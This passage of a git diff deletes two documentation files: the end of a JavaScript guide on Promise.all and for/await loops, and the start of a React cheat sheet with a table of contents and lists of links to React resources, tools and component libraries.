-
-### Awaiting Multiple Promises
-
-Suppose that we've written our `getJSON()` function using async:
-
-    async function getJSON(url) {
-
-    let response = await fetch(url);
-
-    let body = await response.json();
-
-    return body;
-
-    }
-
-And now suppose that we want to fetch two JSON values with this function
-
-    let value1 = await getJSON(url1);
-
-    let value2 = await getJSON(url2);
-
-The problem with this code is that it is unnecessarily sequential: the fetch of the second URL will not begin until the first fetch is complete. If the second URL does not depend on the value obtained from the firstURL, then we should probably try to fetch the two values at the same time.
-
-    let [value1, value2] = await Promise.all([getJSON(url1), getJSON(url2)]);
-
-### The for/await Loop
-
-Suppose you have an array of URLs:
-
-    const urls = [url1, url2, url3];
-
-You can call fetch() on each URL to get an array of Promises:
-
-    const promises = urls.map(url => fetch(url));
-
-We could now use` Promise.all()` to wait for all the Promises in the array to be fulfilled. But suppose we want the results of the first fetch as soon as they become available and don't want to wait for all the URLs to be fetched.
-
-    for(const promise of promises) {
-
-    response = await promise;
-
-    handle(response);
-
-    }
-
-←&gt;
-
-    for await (const response of promises) {
-
-    handle(response);
-
-    }
-
-both examples will only work if they are within functions declared async; a `for/await` loop is no different than a regular await expression in that way
-
-#### If you found this guide helpful feel free to checkout my GitHub/gist's where I host similar content:
-
-<a href="https://gist.github.com/bgoonz" class="markup--anchor markup--p-anchor"><strong>bgoonz's</strong> gists · GitHub</a>
-
-<a href="https://github.com/bgoonz" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://github.com/bgoonz"><strong>bgoonz — Overview</strong><br />
-<em>Web Developer, Electrical Engineer JavaScript | CSS | Bootstrap | Python | React | Node.js | Express | Sequelize…</em>github.com</a><a href="https://github.com/bgoonz" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
-
-Or checkout my personal resource site:
-
-<a href="https://goofy-euclid-1cd736.netlify.app/" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://goofy-euclid-1cd736.netlify.app/"><strong>a/A-Student-Resources</strong><br />
-<em>Edit description</em>goofy-euclid-1cd736.netlify.app</a><a href="https://goofy-euclid-1cd736.netlify.app/" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
-
-By <a href="https://medium.com/@bryanguner" class="p-author h-card">Bryan Guner</a> on [March 8, 2021](https://medium.com/p/64306cd6b0db).
-
-<a href="https://medium.com/@bryanguner/complete-javascript-reference-guide-64306cd6b0db" class="p-canonical">Canonical link</a>
-
-August 31, 2021.
diff --git a/docs/content/cheat-sheets/REACT_MAIN.md b/docs/content/cheat-sheets/REACT_MAIN.md
deleted file mode 100644
index 77144c8a89..0000000000
--- a/docs/content/cheat-sheets/REACT_MAIN.md
+++ /dev/null
@@ -1,3557 +0,0 @@
----
-cover: ../.gitbook/assets/react.jpg
-coverY: -0.9904458598726115
----
-
-# React Cheat Sheet
-
-<details>
-  
-<summary>Table Of Contents</summary>
-  
-- [React Cheat Sheet](#react-cheat-sheet )
-- [General React Resources](#general-react-resources )
-  - [React Resources:](#react-resources ) - [> JavaScript Library for building User Interfaces](#-javascript-library-for-building-user-interfaces )
-    - [**React General Resources**](#react-general-resources )
-    - [**React Community**](#react-community )
-    - [**React Online Playgrounds**](#react-online-playgrounds )
-    - [**React Tutorials**](#react-tutorials )
-    - [**React General Tutorials**](#react-general-tutorials )
-    - [**React Hooks**](#react-hooks )
-    - [**React and TypeScript**](#react-and-typescript )
-    - [**React Performance**](#react-performance )
-    - [**React Internals**](#react-internals )
-    - [**React Interview Questions**](#react-interview-questions )
-    - [**React Tools**](#react-tools )
-    - [**React Development Tools**](#react-development-tools )
-    - [**React Starter Kits and Toolchains**](#react-starter-kits-and-toolchains )
-    - [**React Frameworks**](#react-frameworks )
-    - [**React Styling**](#react-styling )
-    - [**React Routing**](#react-routing )
-    - [**React Component Libraries**](#react-component-libraries )
-    - [**React Awesome Components**](#react-awesome-components )
-    - [**React Testing**](#react-testing )
-    - [**React Libraries**](#react-libraries )
-    - [**React Integration**](#react-integration )
-    - [**React State Management**](#react-state-management )
-    - [**React AR and VR**](#react-ar-and-vr )
-    - [**React Renderers**](#react-renderers )
-    - [**React Forms**](#react-forms )
-    - [**React Autocomplete**](#react-autocomplete )
-    - [**React Graphics**](#react-graphics )
-    - [**React Data Managing**](#react-data-managing )
-    - [**React Maps**](#react-maps )
-    - [**React Charts**](#react-charts )
-    - [React Native](#react-native )
-      - [**React Native General Resources**](#react-native-general-resources )
-      - [**React Native Tutorials**](#react-native-tutorials )
-      - [**React Native Development Tools**](#react-native-development-tools )
-      - [**React Native Sample Apps**](#react-native-sample-apps )
-      - [**React Native Boilerplates**](#react-native-boilerplates )
-      - [**React Native Awesome Components**](#react-native-awesome-components )
-      - [**React Native Libraries**](#react-native-libraries )
-    - [Redux](#redux )
-      - [**Redux Tools**](#redux-tools )
-      - [**Redux Tutorials**](#redux-tutorials )
-  - [Data-Driven React Applications](#data-driven-react-applications )
-    - [Videos](#videos )
-      - [**Reactjsvideos.com**](#reactjsvideoscom )
-    - [Demo React Apps](#demo-react-apps )
-    - [Real React Apps](#real-react-apps )
-  - [**Hello World**](#hello-world )
-  - [The smallest React example looks like this:](#the-smallest-react-example-looks-like-this )
-  - [<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/bgoonz/pen/wveBJBM"></iframe>](#iframe-frameborder0-width100-height800px-srchttpscodepeniobgoonzpenwvebjbmiframe )
-    - [**Introducing JSX**](#introducing-jsx )
-    - [Consider this variable declaration:](#consider-this-variable-declaration )
-    - [Why JSX?](#why-jsx )
-    - [Embedding Expressions in JSX](#embedding-expressions-in-jsx )
-      - [We split JSX over multiple lines for readability. While it isn't required, when doing this, we also recommend wrapping it in parentheses to avoid the pitfalls of automatic semicolon insertion.](#we-split-jsx-over-multiple-lines-for-readability-while-it-isnt-required-when-doing-this-we-also-recommend-wrapping-it-in-parentheses-to-avoid-the-pitfalls-of-automatic-semicolon-insertion )
-    - [JSX is an Expression Too](#jsx-is-an-expression-too )
-    - [Specifying Attributes with JSX](#specifying-attributes-with-jsx )
-    - [Specifying Children with JSX](#specifying-children-with-jsx )
-    - [JSX Prevents Injection Attacks](#jsx-prevents-injection-attacks )
-    - [JSX Represents Objects](#jsx-represents-objects )
-      - [We will explore rendering React elements to the DOM in the next section.](#we-will-explore-rendering-react-elements-to-the-dom-in-the-next-section )
-    - [**Rendering Elements**](#rendering-elements )
-    - [Elements are the smallest building blocks of React apps.](#elements-are-the-smallest-building-blocks-of-react-apps )
-    - [Rendering an Element into the DOM](#rendering-an-element-into-the-dom )
-      - [We call this a "root" DOM node because everything inside it will be managed by React DOM.](#we-call-this-a-root-dom-node-because-everything-inside-it-will-be-managed-by-react-dom )
-    - [Updating the Rendered Element](#updating-the-rendered-element )
-    - [React Only Updates What's Necessary](#react-only-updates-whats-necessary )
-    - [**Components and Props**](#components-and-props )
-    - [Components let you split the UI into independent, reusable pieces, and think about each piece in isolation. This page provides an introduction to the idea of components. You can find a detailed component API reference here.](#components-let-you-split-the-ui-into-independent-reusable-pieces-and-think-about-each-piece-in-isolation-this-page-provides-an-introduction-to-the-idea-of-components-you-can-find-a-detailed-component-api-reference-here )
-    - [Function and Class Components](#function-and-class-components )
-    - [Rendering a Component](#rendering-a-component )
-      - [For example, this code renders "Hello, Sara" on the page:](#for-example-this-code-renders-hello-sara-on-the-page )
-    - [Composing Components](#composing-components )
-      - [For example, we can create an `App` component that renders `Welcome` many times:](#for-example-we-can-create-an-app-component-that-renders-welcome-many-times )
-    - [Extracting Components](#extracting-components )
-      - [For example, consider this `Comment` component:](#for-example-consider-this-comment-component )
-      - [We recommend naming props from the component's own point of view rather than the context in which it is being used.](#we-recommend-naming-props-from-the-components-own-point-of-view-rather-than-the-context-in-which-it-is-being-used )
-      - [We can now simplify `Comment` a tiny bit:](#we-can-now-simplify-comment-a-tiny-bit )
-    - [Props are Read-Only](#props-are-read-only )
-    - [**State and Lifecycle**](#state-and-lifecycle )
-    - [This page introduces the concept of state and lifecycle in a React component. You can find a detailed component API reference here.](#this-page-introduces-the-concept-of-state-and-lifecycle-in-a-react-component-you-can-find-a-detailed-component-api-reference-here )
-      - [We can start by encapsulating how the clock looks:](#we-can-start-by-encapsulating-how-the-clock-looks )
-    - [Converting a Function to a Class](#converting-a-function-to-a-class )
-    - [Adding Local State to a Class](#adding-local-state-to-a-class )
-      - [We will move the `date` from props to state in three steps:](#we-will-move-the-date-from-props-to-state-in-three-steps )
-    - [Adding Lifecycle Methods to a Class](#adding-lifecycle-methods-to-a-class )
-      - [We want to set up a timer whenever the `Clock` is rendered to the DOM for the first time. This is called "mounting" in React.](#we-want-to-set-up-a-timer-whenever-the-clock-is-rendered-to-the-dom-for-the-first-time-this-is-called-mounting-in-react )
-      - [We also want to clear that timer whenever the DOM produced by the `Clock` is removed. This is called "unmounting" in React.](#we-also-want-to-clear-that-timer-whenever-the-dom-produced-by-the-clock-is-removed-this-is-called-unmounting-in-react )
-      - [We can declare special methods on the component class to run some code when a component mounts and unmounts:](#we-can-declare-special-methods-on-the-component-class-to-run-some-code-when-a-component-mounts-and-unmounts )
-      - [We will tear down the timer in the `componentWillUnmount()` lifecycle method:](#we-will-tear-down-the-timer-in-the-componentwillunmount-lifecycle-method )
-    - [Using State Correctly](#using-state-correctly )
-    - [Do Not Modify State Directly](#do-not-modify-state-directly )
-      - [For example, this will not re-render a component:](#for-example-this-will-not-re-render-a-component )
-      - [Instead, use `setState()`:](#instead-use-setstate )
-    - [State Updates May Be Asynchronous](#state-updates-may-be-asynchronous )
-      - [For example, this code may fail to update the counter:](#for-example-this-code-may-fail-to-update-the-counter )
-    - [State Updates are Merged](#state-updates-are-merged )
-      - [For example, your state may contain several independent variables:](#for-example-your-state-may-contain-several-independent-variables )
-    - [The Data Flows Down](#the-data-flows-down )
-    - [**Handling Events**](#handling-events )
-    - [Handling events with React elements is very similar to handling events on DOM elements. There are some syntax differences:](#handling-events-with-react-elements-is-very-similar-to-handling-events-on-dom-elements-there-are-some-syntax-differences )
-      - [For example, the HTML:](#for-example-the-html )
-      - [In React, this could instead be:](#in-react-this-could-instead-be )
-    - [Passing Arguments to Event Handlers](#passing-arguments-to-event-handlers )
-    - [**Conditional Rendering**](#conditional-rendering )
-    - [In React, you can create distinct components that encapsulate behavior you need. Then, you can render only some of them, depending on the state of your application.](#in-react-you-can-create-distinct-components-that-encapsulate-behavior-you-need-then-you-can-render-only-some-of-them-depending-on-the-state-of-your-application )
-      - [We'll create a `Greeting` component that displays either of these components depending on whether a user is logged in:](#well-create-a-greeting-component-that-displays-either-of-these-components-depending-on-whether-a-user-is-logged-in )
-    - [Element Variables](#element-variables )
-      - [In the example below, we will create a stateful component called `LoginControl`.](#in-the-example-below-we-will-create-a-stateful-component-called-logincontrol )
-    - [Inline If with Logical && Operator](#inline-if-with-logical--operator )
-    - [Inline If-Else with Conditional Operator](#inline-if-else-with-conditional-operator )
-    - [Preventing Component from Rendering](#preventing-component-from-rendering )
-    - [**Lists and Keys**](#lists-and-keys )
-    - [First, let's review how you transform lists in JavaScript.](#first-lets-review-how-you-transform-lists-in-javascript )
-    - [Rendering Multiple Components](#rendering-multiple-components )
-    - [Basic List Component](#basic-list-component )
-      - [We can refactor the previous example into a component that accepts an array of `numbers` and outputs a list of elements.](#we-can-refactor-the-previous-example-into-a-component-that-accepts-an-array-of-numbers-and-outputs-a-list-of-elements )
-    - [Keys](#keys )
-    - [Extracting Components with Keys](#extracting-components-with-keys )
-      - [For example, if you extract a `ListItem` component, you should keep the key on the `<ListItem />` elements in the array rather than on the `<li>` element in the `ListItem` itself.](#for-example-if-you-extract-a-listitem-component-you-should-keep-the-key-on-the-listitem--elements-in-the-array-rather-than-on-the-li-element-in-the-listitem-itself )
-    - [Keys Must Only Be Unique Among Siblings](#keys-must-only-be-unique-among-siblings )
-    - [Embedding map() in JSX](#embedding-map-in-jsx )
-    - [**Forms**](#forms )
-    - [HTML form elements work a bit differently from other DOM elements in React, because form elements naturally keep some internal state. ##### For example, this form in plain HTML accepts a single name:](#html-form-elements-work-a-bit-differently-from-other-dom-elements-in-react-because-form-elements-naturally-keep-some-internal-state--for-example-this-form-in-plain-html-accepts-a-single-name )
-    - [Controlled Components](#controlled-components )
-      - [We can combine the two by making the React state be the "single source of truth". Then the React component that renders a form also controls what happens in that form on subsequent user input. An input form element whose value is controlled by React in this way is called a "controlled component".](#we-can-combine-the-two-by-making-the-react-state-be-the-single-source-of-truth-then-the-react-component-that-renders-a-form-also-controls-what-happens-in-that-form-on-subsequent-user-input-an-input-form-element-whose-value-is-controlled-by-react-in-this-way-is-called-a-controlled-component )
-      - [For example, if we want to make the previous example log the name when it is submitted, we can write the form as a controlled component:](#for-example-if-we-want-to-make-the-previous-example-log-the-name-when-it-is-submitted-we-can-write-the-form-as-a-controlled-component )
-    - [The textarea Tag](#the-textarea-tag )
-      - [In React, a `<textarea>` uses a `value` attribute instead. This way, a form using a `<textarea>` can be written very similarly to a form that uses a single-line input:](#in-react-a-textarea-uses-a-value-attribute-instead-this-way-a-form-using-a-textarea-can-be-written-very-similarly-to-a-form-that-uses-a-single-line-input )
-    - [The select Tag](#the-select-tag )
-    - [The file input Tag](#the-file-input-tag )
-    - [Handling Multiple Inputs](#handling-multiple-inputs )
-      - [For example:](#for-example )
-    - [Controlled Input Null Value](#controlled-input-null-value )
-    - [Alternatives to Controlled Components](#alternatives-to-controlled-components )
-    - [Fully-Fledged Solutions](#fully-fledged-solutions )
-    - [**Lifting State Up**](#lifting-state-up )
-    - [Often, several components need to reflect the same changing data. We recommend lifting the shared state up to their closest common ancestor. Let's see how this works in action.](#often-several-components-need-to-reflect-the-same-changing-data-we-recommend-lifting-the-shared-state-up-to-their-closest-common-ancestor-lets-see-how-this-works-in-action )
-      - [We will start with a component called `BoilingVerdict`. It accepts the `celsius` temperature as a prop, and prints whether it is enough to boil the water:](#we-will-start-with-a-component-called-boilingverdict-it-accepts-the-celsius-temperature-as-a-prop-and-prints-whether-it-is-enough-to-boil-the-water )
-    - [Adding a Second Input](#adding-a-second-input )
-      - [We can start by extracting a `TemperatureInput` component from `Calculator`. We will add a new `scale` prop to it that can either be `"c"` or `"f"`:](#we-can-start-by-extracting-a-temperatureinput-component-from-calculator-we-will-add-a-new-scale-prop-to-it-that-can-either-be-c-or-f )
-      - [We can now change the `Calculator` to render two separate temperature inputs:](#we-can-now-change-the-calculator-to-render-two-separate-temperature-inputs )
-      - [We have two inputs now, but when you enter the temperature in one of them, the other doesn't update. This contradicts our requirement: we want to keep them in sync.](#we-have-two-inputs-now-but-when-you-enter-the-temperature-in-one-of-them-the-other-doesnt-update-this-contradicts-our-requirement-we-want-to-keep-them-in-sync )
-      - [We also can't display the `BoilingVerdict` from `Calculator`. The `Calculator` doesn't know the current temperature because it is hidden inside the `TemperatureInput`.](#we-also-cant-display-the-boilingverdict-from-calculator-the-calculator-doesnt-know-the-current-temperature-because-it-is-hidden-inside-the-temperatureinput )
-    - [Writing Conversion Functions](#writing-conversion-functions )
-      - [For example, `tryConvert('abc', toCelsius)` returns an empty string, and `tryConvert('10.22', toFahrenheit)` returns `'50.396'`.](#for-example-tryconvertabc-tocelsius-returns-an-empty-string-and-tryconvert1022-tofahrenheit-returns-50396 )
-    - [Lifting State Up](#lifting-state-up-1 )
-      - [We know that props are read-only. When the `temperature` was in the local state, the `TemperatureInput` could just call `this.setState()` to change it. However, now that the `temperature` is coming from the parent as a prop, the `TemperatureInput` has no control over it.](#we-know-that-props-are-read-only-when-the-temperature-was-in-the-local-state-the-temperatureinput-could-just-call-thissetstate-to-change-it-however-now-that-the-temperature-is-coming-from-the-parent-as-a-prop-the-temperatureinput-has-no-control-over-it )
-      - [We will store the current input's `temperature` and `scale` in its local state. This is the state we "lifted up" from the inputs, and it will serve as the "source of truth" for both of them. It is the minimal representation of all the data we need to know in order to render both inputs.](#we-will-store-the-current-inputs-temperature-and-scale-in-its-local-state-this-is-the-state-we-lifted-up-from-the-inputs-and-it-will-serve-as-the-source-of-truth-for-both-of-them-it-is-the-minimal-representation-of-all-the-data-we-need-to-know-in-order-to-render-both-inputs )
-      - [For example, if we enter 37 into the Celsius input, the state of the `Calculator` component will be:](#for-example-if-we-enter-37-into-the-celsius-input-the-state-of-the-calculator-component-will-be )
-      - [We could have stored the value of both inputs but it turns out to be unnecessary. It is enough to store the value of the most recently changed input, and the scale that it represents. We can then infer the value of the other input based on the current `temperature` and `scale` alone.](#we-could-have-stored-the-value-of-both-inputs-but-it-turns-out-to-be-unnecessary-it-is-enough-to-store-the-value-of-the-most-recently-changed-input-and-the-scale-that-it-represents-we-can-then-infer-the-value-of-the-other-input-based-on-the-current-temperature-and-scale-alone )
-    - [Lessons Learned](#lessons-learned )
-    - [**Composition vs Inheritance**](#composition-vs-inheritance )
-    - [React has a powerful composition model, and we recommend using composition instead of inheritance to reuse code between components.](#react-has-a-powerful-composition-model-and-we-recommend-using-composition-instead-of-inheritance-to-reuse-code-between-components )
-    - [Containment](#containment )
-      - [We recommend that such components use the special `children` prop to pass children elements directly into their output:](#we-recommend-that-such-components-use-the-special-children-prop-to-pass-children-elements-directly-into-their-output )
-    - [Specialization](#specialization )
-    - [So What About Inheritance?](#so-what-about-inheritance )
-    - [**Thinking in React**](#thinking-in-react )
-    - [React is, in our opinion, the premier way to build big, fast Web apps with JavaScript. It has scaled very well for us at Facebook and Instagram.](#react-is-in-our-opinion-the-premier-way-to-build-big-fast-web-apps-with-javascript-it-has-scaled-very-well-for-us-at-facebook-and-instagram )
-    - [Start With A Mock](#start-with-a-mock )
-    - [Step 1: Break The UI Into A Component Hierarchy](#step-1-break-the-ui-into-a-component-hierarchy )
-    - [Step 2: Build A Static Version in React](#step-2-build-a-static-version-in-react )
-    - [A Brief Interlude: Props vs State](#a-brief-interlude-props-vs-state )
-    - [Step 3: Identify The Minimal (but complete) Representation Of UI State](#step-3-identify-the-minimal-but-complete-representation-of-ui-state )
-    - [Step 4: Identify Where Your State Should Live](#step-4-identify-where-your-state-should-live )
-    - [Step 5: Add Inverse Data Flow](#step-5-add-inverse-data-flow )
-    - [And That's It](#and-thats-it )
-  
-</details>
-  
----
-  
-#  General React Resources
-  
-  
-##  React Resources:
-  
-  
-<details>
-  
-#<summary>**React Resources**</summary>
-  
-##### > JavaScript Library for building User Interfaces
-  
-#### **React General Resources**
-  
-- [React Official Website](https://reactjs.org )
-- [React Documentation](https://reactjs.org/docs )
-- [React GitHub](https://github.com/facebook/react )
-  
-#### **React Community**
-  
-- [Reactiflux Discord Channel](http://www.reactiflux.com )
-- [React StackOverflow](http://stackoverflow.com/questions/tagged/reactjs )
-- [React Twitter](https://twitter.com/reactjs )
-  
-#### **React Online Playgrounds**
-  
-- [CodePen](https://reactjs.org/redirect-to-codepen/hello-world )
-- [CodeSandbox)\*\*](https://codesandbox.io/s/new )
-- [JSFiddle](https://jsfiddle.net/boilerplate/react-jsx )
-  **Another Awesome Lists**
-- [React/Redux Links](https://github.com/markerikson/react-redux-links )
-  
-#### **React Tutorials**
-  
-#### **React General Tutorials**
-  
-- [React Official Tutorial](https://reactjs.org/tutorial/tutorial.html )
-- [Using React in Visual Studio Code)\*\*](https://code.visualstudio.com/docs/nodejs/reactjs-tutorial )
-- [Scrimba - Learn React for free interactively](https://scrimba.com/g/glearnreact )
-- [FreeCodeCamp React Challenges](https://learn.freecodecamp.org/front-end-libraries/react )
-- [React Cheatsheet](https://devhints.io/react )
-- [React Patterns](https://reactpatterns.com )
-- [Setup Flow with React](https://flow.org/en/docs/react/ )
-  
-#### **React Hooks**
-  
-- [React Hooks](https://reactjs.org/docs/hooks-intro.html )
-- [Awesome React Hooks](https://github.com/rehooks/awesome-react-hooks )
-- [Thinking in React Hooks](https://wattenberger.com/blog/react-hooks )
-- [Replacing Redux with React Hooks and Context](https://medium.com/octopus-labs-london/replacing-redux-with-react-hooks-and-context-part-1-11b72ffdb533 )
-- [React Hooks cheat sheet: Unlock solutions to common problems](https://blog.logrocket.com/react-hooks-cheat-sheet-unlock-solutions-to-common-problems-af4caf699e70/ )
-- [How to fetch data with React Hooks?](https://www.robinwieruch.de/react-hooks-fetch-data/ )
-- [Easy to understand React Hook recipes](https://usehooks.com )
-- [React Hooks Video Tutorial](https://www.youtube.com/playlist?list=PLN3n1USn4xlmyw3ebYuZmGp60mcENitdM )
-  
-#### **React and TypeScript**
-  
-- [TypeScript, React and Webpack](https://www.typescriptlang.org/docs/handbook/react-&-webpack.html )
-- [JSX in TypeScript](https://www.typescriptlang.org/docs/handbook/jsx.html )
-- [Cheatsheets for experienced React developers getting started with TypeScript](https://github.com/typescript-cheatsheets/react-typescript-cheatsheet )
-- [React by Example](https://reactbyexample.github.io )
-  
-#### **React Performance**
-  
-- [React Optimizing Performance](https://reactjs.org/docs/optimizing-performance.html )
-- [Introducing the React Profiler](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html )
-- [Optimizing React: Virtual DOM explained](https://evilmartians.com/chronicles/optimizing-react-virtual-dom-explained )
-- [A Definitive Guide to Optimize Major Performance issues in React](https://www.simform.com/react-performance/ )
-- [Twitter Lite and High Performance React Progressive Web Apps at Scale](https://medium.com/@paularmstrong/twitter-lite-and-high-performance-react-progressive-web-apps-at-scale-d28a00e780a3 )
-- [Using the React DevTools Profiler to Diagnose React App Performance Issues](https://www.netlify.com/blog/2018/08/29/using-the-react-devtools-profiler-to-diagnose-react-app-performance-issues/ )
-- [Top 5 Practices to Boost React Performance](https://www.codementor.io/blizzerand/top-5-practices-to-boost-react-performance-jv6zr89ep )
-- [React is Slow, React is Fast: Optimizing react Apps in Practice](https://medium.com/dailyjs/react-is-slow-react-is-fast-optimizing-react-apps-in-practice-394176a11fba )
-- [Rendering large lists with react-window](https://addyosmani.com/blog/react-window/ )
-  
-#### **React Internals**
-  
-- [Reconciliation](https://reactjs.org/docs/reconciliation.html )
-- [React Fiber Architecture](https://github.com/acdlite/react-fiber-architecture )
-- [Build your own React](https://engineering.hexacta.com/didact-learning-how-react-works-by-building-it-from-scratch-51007984e5c5 )
-- [Inside Fiber: In-depth overview of the new reconciliation algorithm in React](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e )
-- [Entire React code base explanation by visual block schemes](https://github.com/Bogdan-Lyashenko/Under-the-hood-ReactJS )
-  
-#### **React Interview Questions**
-  
-- [13 Essential React Interview Questions](https://www.toptal.com/react/interview-questions )
-- [List of React interview Questions and Answers](https://github.com/sudheerj/reactjs-interview-questions )
-- [React Coding Challenges](https://github.com/alexgurr/react-coding-challenges/ )
-  
-#### **React Tools**
-  
-#### **React Development Tools**
-  
-- [react-devtools](https://github.com/facebook/react-devtools ) - Inspection of React component hierarchy in the Chrome and Firefox Developer Tools
-- [react-hot-loader](https://github.com/gaearon/react-hot-loader ) - Tweak React components in real time
-- [react-loadable](https://github.com/jamiebuilds/react-loadable ) - A higher order component for loading components with promises
-- [loadable-components](https://github.com/smooth-code/loadable-components ) - React code splitting made easy
-- [reactotron](https://github.com/skellock/reactotron ) - A desktop app for inspecting your React and React Native projects
-- [storybook](https://github.com/storybookjs/storybook ) - UI component dev & test
-- [docz](https://github.com/doczjs/docz ) - Zero Config, live-reloading documentation with Markdown + JSX
-- [react-styleguidist](https://github.com/styleguidist/react-styleguidist ) - Isolated React component development environment with a living style guide
-- [react-cosmos](https://github.com/react-cosmos/react-cosmos ) - Dev tool for creating reusable React components
-- [eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react ) - React specific linting rules for ESLint
-- [eslint-plugin-jsx-a11y](https://github.com/evcohen/eslint-plugin-jsx-a11y ) - Static AST checker for a11y rules on JSX elements
-- [@axe-core/react](https://github.com/dequelabs/axe-core-npm ) - Accessibility auditing for React applications
-- [DataFormsJS JSX Loader](https://github.com/dataformsjs/dataformsjs/blob/master/docs/jsx-loader.md ) - Small JavaScript Compiler for quickly converting JSX to JS directly on a web page
-- [Why Did You Render](https://github.com/welldone-software/why-did-you-render ) - Monkey patches React to notify you about avoidable re-renders.
-- [Divjoy](https://divjoy.com ) - React codebase and UI generator to speed up development (paid)
-- [Plasmic](https://www.plasmic.app ) - Powerful design tool for building your React components visually.
-  
-#### **React Starter Kits and Toolchains**
-  
-- [create-react-app](https://github.com/facebook/create-react-app ) - Set up a modern Web app by running one command
-- [Razzle](https://razzlejs.org ) - Build production ready React applications. Razzle is toolchain for modern static and dynamic websites and web applications
-- [Neutrino React Preset](https://neutrinojs.org/packages/react/ ) - `@neutrinojs/react` is a Neutrino preset that supports building React web applications
-- [react-starter-kit](https://github.com/kriasoft/react-starter-kit ) - Isomorphic Web app boilerplate
-- [create-react-library](https://github.com/transitive-bullshit/create-react-library ) - CLI for creating reusable, modern React libraries using Rollup and create-react-app.
-- [tsdx](https://tsdx.io ) - Zero-config CLI for TypeScript package development
-  
-#### **React Frameworks**
-  
-- [next.js](https://github.com/vercel/next.js ) - The React Framework
-- [gatsby.js](https://github.com/gatsbyjs/gatsby ) - Free and open source framework based on React
-- [react-admin](https://github.com/marmelab/react-admin ) - Frontend Framework for building B2B applications on top of REST/GraphQL APIs
-- [remix](https://remix.run ) - Finally, a killer React framework from the creators of React Router
-- [Blitz](https://blitzjs.com ) - The Fullstack React Framework
-- [aleph.js](https://github.com/alephjs/aleph.js ) - The React Framework in Deno
-  
-#### **React Styling**
-  
-- [styled-components](https://github.com/styled-components/styled-components ) - Visual primitives for the component age
-- [emotion](https://github.com/emotion-js/emotion ) - Library designed for writing CSS styles with JavaScript
-- [radium](https://github.com/FormidableLabs/radium ) - A toolchain for React component styling
-- [jss](https://github.com/cssinjs/jss ) - Authoring tool for CSS
-- [aphrodite](https://github.com/Khan/aphrodite ) - Framework-agnostic CSS-in-JS with support for server-side rendering, browser prefixing, and minimum CSS generation
-  
-#### **React Routing**
-  
-- [react-router](https://github.com/ReactTraining/react-router ) - Declarative routing for React
-- [navi](https://github.com/frontarm/navi ) - Declarative, asynchronous routing for React
-- [curi](https://github.com/pshrmn/curi ) - JavaScript router for single-page applications
-- [reach](https://github.com/reach/router ) - Next Generation Routing for React
-- [universal-router](https://github.com/kriasoft/universal-router ) - A simple middleware-style router for isomorphic JavaScript web apps
-- [wouter](https://github.com/molefrog/wouter ) - A minimalist-friendly \~1.3KB routing library
-  
-#### **React Component Libraries**
-  
-- [material-ui](https://github.com/mui-org/material-ui ) - React components for faster and easier web development
-- [blueprint](https://github.com/palantir/blueprint ) - A React-based UI toolkit for the webs
-- [Fluent UI](https://github.com/microsoft/fluentui ) - A set of React components for building Microsoft web experiences
-- [react-bootstrap](https://github.com/react-bootstrap/react-bootstrap ) - Bootstrap components built with React
-- [reactstrap](https://github.com/reactstrap/reactstrap ) - Simple React Bootstrap 4 components
-- [ant-design](https://github.com/ant-design/ant-design ) - A design system with values of Nature and Determinacy
-- [chakra-ui](https://github.com/chakra-ui/chakra-ui/ ) - Simple, Modular & Accessible UI Components for your React Applications
-- [semantic-ui-react](https://github.com/Semantic-Org/Semantic-UI-React ) - The official Semantic-UI-React integration
-- [evergreen](https://github.com/segmentio/evergreen ) - Evergreen React UI Framework by Segment
-- [grommet](https://github.com/grommet/grommet ) - A react-based framework that provides accessibility, modularity, responsiveness, and theming in a tidy package
-- [rebass](https://github.com/rebassjs/rebass ) - React primitive UI components built with styled-system
-- [reakit](https://github.com/reakit/reakit ) - Accessible, Composable and Customizable components for React
-- [rsuite](https://github.com/rsuite/rsuite ) - A suite of React components
-- [atlaskit](https://bitbucket.org/atlassian/atlaskit-mk-2 ) - Atlassian's official UI library, built according to the Atlassian Design Guidelines.
-- [baseweb](https://github.com/uber/baseweb ) - Base Web is a foundation for initiating, evolving, and unifying web products.
-- [primereact](https://github.com/primefaces/primereact ) - A complete UI Framework for React with 50+ components featuring material, bootstrap and custom themes.
-- [eui](https://github.com/elastic/eui ) - Elastic UI Framework
-- [react-spectrum](https://github.com/adobe/react-spectrum ) - Adobe's collection of libraries and tools that help you build adaptive, accessible, and robust user experiences
-- [ring-ui](https://github.com/JetBrains/ring-ui ) - JetBrains Web UI components
-- [react-bulma-components](https://github.com/couds/react-bulma-components ) - React components for Bulma framework
-- [react-bulma](https://github.com/kulakowka/react-bulma ) - React.js components for Modern CSS framework based on Flexbox
-- [trunx](https://github.com/fibo/trunx ) - Super Saiyan React components, son of awesome Bulma, implemented in TypeScript
-- [bumbag-ui](https://github.com/bumbag/bumbag-ui ) - Build accessible & themeable React applications with your Bumbag
-  
-#### **React Awesome Components**
-  
-- [Awesome React Components list](https://github.com/brillout/awesome-react-components )
-- [react-select](https://github.com/JedWatson/react-select ) - The Select Component for React
-- [react-beautiful-dnd](https://github.com/atlassian/react-beautiful-dnd ) - Beautiful and accessible drag and drop for lists with React
-- [react-dnd](https://github.com/react-dnd/react-dnd ) - Drag and Drop for React
-- [react-grid-layout](https://github.com/strml/react-grid-layout ) - A draggable and resizable grid layout with responsive breakpoints
-- [react-table](https://github.com/tannerlinsley/react-table/ ) - A lightweight, fast and extendable datagrid for React
-- [react-data-grid](https://github.com/adazzle/react-data-grid ) - Excel-like grid component built with React
-- [react-draggable](https://github.com/mzabriskie/react-draggable ) - React draggable component
-- [react-resizable-and-movable](https://github.com/bokuweb/react-resizable-and-movable ) - A resizable and draggable component for React
-- [react-resizable](https://github.com/strml/react-resizable ) - A simple React component that is resizable with a handle
-- [react-resizable-box](https://github.com/bokuweb/react-resizable-box ) - A resizable component for React
-- [react-searchbox-awesome](https://github.com/axmz/react-searchbox-awesome ) - Minimalistic searchbox
-- [react-sortable-pane](https://github.com/bokuweb/react-sortable-pane ) - A sortable and resizable pane component for React
-- [react-spaces](https://github.com/aeagle/react-spaces ) - Nestable resizable, anchored, scrollable components
